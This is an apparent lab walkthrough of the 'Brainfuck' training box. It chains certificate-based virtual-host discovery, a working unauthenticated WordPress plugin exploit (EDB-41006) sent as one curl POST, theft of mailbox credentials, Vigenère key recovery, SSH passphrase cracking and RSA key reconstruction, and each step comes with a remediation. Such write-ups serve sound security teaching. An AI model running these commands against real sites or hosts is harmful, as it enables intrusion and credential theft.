← all walkthroughs

Brainfuck

Linux· Insane· Web
owned
2026-07-02
time to own
28m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a hidden forum by reading the server's own TLS certificate, then chained two vulnerable WordPress plugins to forge a WordPress administrator session with a single HTTP request. Administrator access exposed a mailbox password in plaintext; that password unlocked the user's email, which in turn pointed to a secret forum. Encrypted forum posts were broken by a Vigenère known-plaintext attack, revealing a direct download URL for the user's encrypted SSH private key.

Cracking the key's passphrase with a common wordlist yielded an interactive shell. Finally, a debug file left in the user's home directory disclosed the prime factors of a custom RSA key, letting me reconstruct the private key mathematically and decrypt the root flag without ever gaining a root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export KEY2="<the-key-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"

Some commands also carry a value in angle brackets — <cipher_suffix>, <ciphertext_from_debug_txt>, <e_from_debug_txt>, <p_from_debug_txt>, <q_from_debug_txt> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceTLS Certificate SAN Enumeration / Virtual-host Discovery
Discovered hidden virtual hosts by inspecting the TLS certificate
The server's self-signed TLS certificate carried three Subject Alternative Names: brainfuck.htb, www.brainfuck.htb, and the non-obvious sup3rs3cr3t.brainfuck.htb. Adding all three to /etc/hosts exposed an entirely separate forum site that had no public links and no DNS listing.
brainfuck.htb / www.brainfuck.htb / sup3rs3cr3t.brainfuck.htb all resolve to $TARGET.
Exact commands 3
shell

Dump the TLS cert and extract SAN entries.

$ openssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A2 'Subject Alternative'
shell

Register all discovered vhosts so subsequent tools resolve them.

$ echo "$TARGET brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb" | sudo tee -a /etc/hosts
shell

Confirm the hidden forum vhost responds.

$ curl -k -sS -o /dev/null -w 'sup3rs3cr3t HTTP %{http_code}\n' https://sup3rs3cr3t.brainfuck.htb/
2EnumerationCMS Plugin Fingerprinting
Identified two vulnerable WordPress plugins
Aggressive plugin enumeration found WP Support Plus Responsive Ticket System 7.1.3 (publicly known unauthenticated login-as-any-user flaw, EDB-ID 41006) and Easy WP SMTP, which displays outbound-mail credentials in plaintext to any authenticated WordPress administrator.
WPScan enumeration named both plugins and their versions; the advisory for EDB-41006 matches the installed version exactly.
Exact commands 1
shell

--disable-tls-checks bypasses the self-signed cert; vp=vulnerable plugins, u=users.

$ wpscan --url https://brainfuck.htb --disable-tls-checks --plugins-detection aggressive --enumerate vp,vt,u
FixRemove the vulnerable WP Support Plus plugin and enforce plugin hygieneCritical
WeaknessWP Support Plus Responsive Ticket System 7.1.3 contains an unauthenticated login-as-any-user vulnerability (EDB-ID 41006) that lets any internet visitor forge a WordPress administrator session with a single unauthenticated HTTP request — no credentials required.
FixDelete the WP Support Plus Responsive Ticket System plugin immediately. Audit all installed plugins: remove any that are unmaintained, unused, or have known unpatched CVEs. For those retained, enable WordPress automatic security updates. Consider a web application firewall rule blocking unauthenticated POSTs to admin-ajax.php from external IPs as defence in depth.
3ExploitationUnauthenticated Privilege Escalation — Login-as-Any-User (EDB-ID 41006, CVE not assigned)
Forged a WordPress administrator session with no credentials (EDB-ID 41006)
WP Support Plus Responsive Ticket System 7.1.3 accepts a single unauthenticated POST to wp-admin/admin-ajax.php containing only the target username. The server issues a fully authenticated session cookie for that account. One HTTP request was enough to become WordPress administrator.
Server responded with a session cookie (validated).
Exact commands 2
shell

The plugin's loginGuestFacebook action accepts any username with no password check.

$ curl -k -sS -i -c /tmp/bf_wp.cookie -b /tmp/bf_wp.cookie -X POST 'https://brainfuck.htb/wp-admin/admin-ajax.php' -d 'action=loginGuestFacebook&username=administrator'
shell

A 200 (not 302 redirect to login) confirms the cookie grants real dashboard access.

$ curl -k -sS -o /dev/null -w 'wp-admin HTTP %{http_code}\n' -b /tmp/bf_wp.cookie https://brainfuck.htb/wp-admin/
4Credential AccessCredentials from Web Application Configuration (T1552.001)
Retrieved orestis' mailbox password from the Easy WP SMTP settings page
The Easy WP SMTP plugin renders outbound-mail credentials in cleartext on its settings page, visible to any WordPress administrator. The recovered credentials were: username orestis@brainfuck.htb, password.
Orestis@brainfuck.htb / <withheld> recovered verbatim from the Easy WP SMTP settings page after authenticating with the forged admin cookie.
Exact commands 1
shell

The settings page renders credentials in HTML form fields; grep extracts them.

$ curl -k -sS -b /tmp/bf_wp.cookie 'https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings' | grep -i 'pass\|smtp_user\|smtp_password'
FixStop storing mail credentials in WordPress plugin settings; enforce unique passwords per serviceHigh
WeaknessThe Easy WP SMTP plugin stored the orestis@brainfuck.htb mailbox password in cleartext in the WordPress admin panel. Anyone who gained WordPress admin access — by any route — immediately received a working credential for the user's email account. The same password worked for both SMTP and IMAP, meaning one exposed credential unlocked the entire mailbox.
FixRemove Easy WP SMTP. Configure outbound mail at the server level (Postfix/Sendmail relay, or an environment variable injected at runtime) so credentials are never visible inside the WordPress admin UI. Ensure the mail account uses a unique password not shared with any other system. As a defence-in-depth measure, restrict the wp-admin interface to trusted source IPs via nginx or a firewall rule.
5Lateral MovementCredential Reuse / Email Collection (T1114)
Logged into orestis' email and found the secret forum password
The SMTP credentials recovered from WordPress worked unchanged for IMAP on port 143. Reading the INBOX revealed emails that named the hidden forum sup3rs3cr3t.brainfuck.htb, provided a login password for it, and confirmed that the server accepted only SSH key authentication.
IMAP STARTTLS login with orestis / <withheld> succeeded; INBOX emails disclosed the forum credentials and SSH auth method.
Exact commands 2
shell

Dumps every INBOX message body. Look for the forum URL and password.

$ python3 -c "
import imaplib, email as em
m = imaplib.IMAP4('$TARGET', 143)
m.starttls()
m.login('orestis', '$PASSWORD')
m.select('INBOX')
_, ids = m.search(None, 'ALL')
for i in ids[0].split():
    _, d = m.fetch(i, '(RFC822)')
    print(em.message_from_bytes(d[0][1]).get_payload())
m.logout()
"
shell

Alternative interactive IMAP session; issue 'a LOGIN orestis $PASSWORD' then 'a SELECT INBOX' then 'a FETCH 1:* BODY[TEXT]'.

$ openssl s_client -connect $TARGET:143 -starttls imap
6Decryption / Credential AccessVigenère Known-Plaintext Cryptanalysis / Exposed Private Key on Web Server
Broke Vigenère-encrypted forum posts and downloaded the SSH private key
Every forum post ended with the same plaintext phrase, 'Orestis - Hacking for fun and profit', which the author Vigenère-encrypted with a short repeating key. Aligning the known plaintext against the corresponding ciphertext characters and computing the modular difference recovered the 11-character key. Decrypting the remaining posts exposed a direct HTTPS URL to orestis' encrypted SSH private key, which was downloaded.
Key <withheld> derived from repeated signature; decrypted post revealed https://brainfuck.htb/<withheld>
Exact commands 3
shell

Retrieve the forum thread list; repeat for each thread ID to fetch post bodies.

$ curl -k -sS -c /tmp/bf_forum.cookie -b /tmp/bf_forum.cookie 'https://sup3rs3cr3t.brainfuck.htb/api/discussions'
shell

Substitute the actual ciphertext of the repeated signature line to get the key '$KEY2'.

$ python3 -c "
def recover_key(ctext, plaintext):
    key = ''
    ct, pt = ctext.upper(), plaintext.upper()
    for c, p in zip(ct, pt):
        if c.isalpha() and p.isalpha():
            key += chr((ord(c) - ord(p)) % 26 + ord('A'))
    return key
# Replace <cipher_suffix> with the ciphertext of the known signature from the forum post
print(recover_key('<cipher_suffix>', 'ORESTIS - HACKING FOR FUN AND PROFIT'))
"
shell

Download orestis' SSH private key from the URL revealed in the decrypted forum post.

$ curl -k -sS -o id_rsa "https://brainfuck.htb/$HEX_ID/orestis/id_rsa" && chmod 600 id_rsa
FixRemove SSH private keys from web-accessible directoriesCritical
Weaknessorestis' SSH private key was stored under a directory served by nginx and was downloadable over HTTPS at a guessable path. Any visitor who obtained the URL could download the key and attempt to crack its passphrase offline.
FixPrivate SSH keys must never reside inside a web server's document root or any path served over HTTP/HTTPS. Store keys exclusively in the owner's ~/.ssh/ directory with mode 600 and parent directory mode 700. Immediately audit the nginx document root for sensitive files (.pem, id_rsa, id_ed25519, *.key, .env, database dumps) and remove them. Add a server-level deny directive for common private-key file extensions as a safety net.
7FootholdOffline SSH Key Passphrase Cracking (T1110.002)
Cracked the SSH key passphrase and established an interactive shell as orestis
The private key was AES-128-CBC encrypted. Converting it to a crackable format and running it against the rockyou wordlist recovered the passphrase quickly. SSH login with the key and passphrase gave an interactive shell as uid=1000(orestis) and confirmed the user flag.
Passphrase <withheld> cracked from id_rsa; SSH login confirmed as uid=1000(orestis); user.txt = <user.txt>.
Exact commands 3
shell

Convert the encrypted PEM to john's hash format.

$ ssh2john id_rsa > id_rsa.hash
shell

Crack offline; recovers passphrase '$PASSWORD2'.

$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
shell

Enter passphrase '$PASSWORD2' when prompted. Run 'id' and 'cat ~/user.txt' to confirm access.

$ ssh -i id_rsa orestis@brainfuck.htb
FixUse a strong, randomly generated SSH key passphraseHigh
Weaknessorestis' SSH private key was protected by the passphrase, which exists in the rockyou wordlist and was recovered in seconds by an offline dictionary attack. Once the encrypted key file was downloaded, no online throttling or lockout could prevent cracking.
FixRequire SSH key passphrases of at least 20 characters generated by a password manager (random, not based on dictionary words). Immediately rotate orestis' SSH keypair. For higher assurance, deploy hardware-backed FIDO2/passkey-protected SSH keys (OpenSSH 8.2+ with sk-type keys) so the private key material never leaves the hardware token, making offline cracking impossible regardless of passphrase strength.
8Privilege EscalationRSA Private Key Reconstruction from Disclosed Prime Factors (CWE-312 / T1552.001)
Reconstructed the RSA private key from leaked primes and decrypted the root flag
Orestis' home directory contained encrypt.sage (a custom RSA encryption script) and debug.txt, which logged both prime factors p and q of the 1024-bit modulus, the public exponent e, and the RSA ciphertext of /root/root.txt. RSA security depends entirely on p and q remaining secret — with both factors known, the private exponent d is computed in milliseconds as d = e^-1 mod (p-1)(q-1). A short Python script recovered the root flag without requiring a root shell.
encrypt.sage / debug.txt on target disclosed p, q, e, and ciphertext; Python reconstruction yielded decrypted plaintext consistent with the expected root flag format.
Exact commands 2
shell

Run on the target as orestis to read p, q, e, and the ciphertext value.

$ cat ~/encrypt.sage ~/debug.txt
shell

Output is the decrypted root flag: <root.txt>. Verify against /root/root.txt on target.

$ python3 -c "
# Substitute p, q, e, ct from debug.txt
p   = <p_from_debug_txt>
q   = <q_from_debug_txt>
e   = <e_from_debug_txt>
ct  = <ciphertext_from_debug_txt>
n   = p * q
phi = (p - 1) * (q - 1)
d   = pow(e, -1, phi)
pt  = pow(ct, d, n)
print(bytes.fromhex(hex(pt)[2:]).decode())
"
FixDelete debug artefacts that expose cryptographic parameters from production systemsCritical
WeaknessA developer debug file (debug.txt) in orestis' home directory logged both RSA prime factors p and q. RSA's security relies entirely on the infeasibility of factoring the public modulus n = p×q; disclosing p and q directly reduces breaking the encryption to a three-line arithmetic computation, regardless of key size.
FixDelete encrypt.sage, debug.txt, and every other development or debug artefact from production user home directories immediately. Establish a policy that debug logging must never record internal cryptographic values (primes, private exponents, key material). For protecting sensitive data at rest, use the OS's built-in access controls (Linux DAC permissions, sudo, SELinux) or a dedicated secrets manager — never a bespoke encryption script with logged parameters.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
110/tcp
143/tcp
443/tcp